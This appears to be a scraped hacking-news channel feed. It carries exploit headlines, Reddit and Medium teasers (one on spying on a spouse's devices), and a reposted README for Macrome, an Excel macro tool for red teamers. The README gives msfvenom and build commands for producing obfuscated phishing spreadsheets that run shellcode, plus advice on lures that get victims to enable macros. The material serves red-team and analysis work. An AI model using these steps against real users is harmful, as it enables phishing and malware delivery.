Exploit Collector
Google Play Protect 22.4.25 Detection Bypass

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Network Video Recorder NVR304-16EP Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Multi-Vendor Online Groceries Management System 1.0 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Just saw the movie Hackers (1995) & I love it for how stupid it is

I absolutely love it. Its about as accurate on hacking/cybersecurity as Call of Duty is for war or NCIS is for law enforcement. But its so dumb, stupid, and 90s that I love it. I would go as far to say that this movie has my favorite portrayal of hackers in any visual medium, including Mr. Robot which probably has the most accurate portrayal. I was liking the movie from the first minute but when they portrayed the Lennon glasses wearing SOC Analyst monitoring logs in a lair straight out of a James Bond film, I immediately loved it.

Anyways, I just wanted to share that I love this movie and I wouldn't be ashamed in admitting it if I talked to other pen testers in the industry. If non-pen testers asked what I did, I wouldn't be ashamed in sharing this movie with them.

EDIT: Based on everyone’s recommendations, I will watch Wargames, Sneakers, and Swordfish next

submitted by /u/j1mmyava1on
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Red Cross Hack Linked to Iranian Influence Operation?

https://external-preview.redd.it/6nw0mlyZVxzN7y3tJmD84xuhfG-wf4XapUYRiRgK1qA.jpg?width=640&crop=smart&auto=webp&s=7f512ec67c1b56f15d9ea6ba8b404cae7fa34377 submitted by /u/DrinkMoreCodeMore
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Social media hacking

I was wondering for a quite a while now how social media handles get compromised, like is there any ways for hackers to cracks passwords for accounts on social media platforms like Facebook, Instagram, LinkedIn etc remotely without physically accessing the target devices?

Came to know this can be very hard if a particular account is 2-step authenticated but what if its not?

Is it even possible to do such stuff or its just because of carelessness of user.?

just being curious

submitted by /u/More_Twist9517
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Lodestar Joins the Consensus Layer Bug Bounty

ChainSafe is happy to announce that we’ve been added to the Ethereum Foundation’s consensus layer bug bounty program for Lodestar, our…Continue reading on ChainSafe »
Read more...

Lodestar Joins the Consensus Layer Bug Bounty
https://medium.com/chainsafe-systems/lodestar-joins-the-consensus-layer-bug-bounty-5716bcdebf60?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

ChainSafe is happy to announce that we’ve been added to the Ethereum Foundation’s consensus layer bug bounty program for Lodestar, our…Continue reading on ChainSafe » (https://medium.com/chainsafe-systems/lodestar-joins-the-consensus-layer-bug-bounty-5716bcdebf60?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Strategies for catching a cheating spouse

https://cdn-images-1.medium.com/max/2600/1*ipPl10GGuHTKwTUvK2EVTg.jpeg
Often, we realize when something is humorous because of years of relationship/marriage. Smartphones, tablets, PCs, and smart devices soak…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
By Siding with Putin, Trump Confirms His Treachery

https://cdn-images-1.medium.com/max/800/1*ivUqxhP6FvbYNMrjuo2aaA.jpeg
Former president is still a threat to his own country

Continue reading on Politics: Fast and Slow »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Z Wave Protocol

https://cdn-images-1.medium.com/max/1200/1*_v7Wdl7cPptwrlnuUXYBsg.jpeg
Hello Guys and Gals let’s talk about a topic which is very interesting to understood. Today I will going to talk about Z Wave Protocol…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
QB One Dictation Results

https://cdn-images-1.medium.com/max/600/1*hyXCR9S8MDCtzQJrollSgQ.jpeg
I used the voice recorder on my phone to capture audio after listening to the last version I captured with my computer and software.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to keep your Facebook login safe from being compromised.

https://cdn-images-1.medium.com/max/2600/1*tYeMMFzk_0dH9D8NxC9IyA.jpeg
.Use a separate email address for your Facebook account, and do not include that email address in your profile information.
When selecting…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Macrome - Excel Macro Document Reader/Writer For Red Teamers And Analysts

___________________________
@hacking_Attack
@Hacking_Video

Macrome - Excel Macro Document Reader/Writer For Red Teamers And Analysts
http://www.kitploit.com/2022/02/macrome-excel-macro-document.html

___________________________
@hacking_Attack
@Hacking_Video

An Excel Macro (https://www.kitploit.com/search/label/Excel%20Macro) Document Reader/Writer for Red Teamers & Analysts. Blog posts describing what this tool actually does can be found here (https://malware.pizza/2020/05/12/evading-av-with-excel-macros-and-biff8-xls/) and here (https://malware.pizza/2020/06/18/further-evasion-in-the-forgotten-corners-of-ms-xls/).
Installation / Building Clone or download this repository, the tool can then be executed using dotnet - for example: dotnet run -- build --decoy-document Docs\decoy_document.xls --payload Docs\popcalc.bin
or deobfuscate --path obfuscated_document.xls">dotnet build
cd bin/Debug/netcoreapp2.0
dotnet Macrome.dll deobfuscate --path obfuscated_document.xls
Note that a 5.0+ build of dotnet is required for this to work as configured - it can be grabbed from https://dotnet.microsoft.com/download/dotnet/5.0. Binary releases of the tool that do not require dotnet and contain an executable binary can be found in the Release section for Windows, OSX, and Linux. Usage Run Macrome by either using dotnet run from the solution directory, or dotnet against the built Macrome binary. There are three modes of operation for Macrome - Build mode, Dump mode, and Deobfuscation (https://www.kitploit.com/search/label/Deobfuscation) mode. Build Mode Run Macrome with the build command in order to generate an Excel document containing an obfuscated macro sheet using a provided decoy document and macro payload. dotnet Macrome.dll build -h will display full usage instructions. For example, to build a document using decoy document path/to/decoy_document.xls and binary x86 shellcode stored at path/to/shellcode.bin, run dotnet Macrome.dll build --decoy-document path/to/decoy_document.xls --payload /path/to/shellcode.bin. This will generate an XLS 2003 document which after being opened and having the "Enable Content" button pressed, will execute the shellcode of shellcode.bin. How SHOULD I run this? The rest of the documentation will explain each flag/function in detail, but right now the "latest & greatest" that Macrome has to offer can be obtained by running: Macrome build --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --payload-method Base64 --method ArgumentSubroutines --password VelvetSweatshop --preamble preamble.txt --output-file-name ReadyToPhish.xls
Binary Payload Usage First generate a base "decoy" Excel document that will contain content users should see. This should be some sort of lure that convinces users to click the "Enable Macros" button displayed in Excel. There's some examples of the "latest and greatest" lure creation at https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-. Once this sheet is created, save the document as type Excel 97-2003 Workbook (*.xls) rather than the newer Excel Workbook (*.xlsx) format. An example decoy document is included in /Docs/decoy_document.xls. Note that if you are using XOR Obfuscation to protect your document, you currently CANNOT add an image to your decoy. Next, generate a shellcode payload to provide to the tool. The example binary payload (which pops calc) was generated using msfvenom using the following parameters: msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
64 bit payloads are also supported. The example 64-bit payload, popcalc64.bin, was generated using the command: msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
This payload can then be embedded by executing the command: dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin

___________________________
@hacking_Attack
@Hacking_Video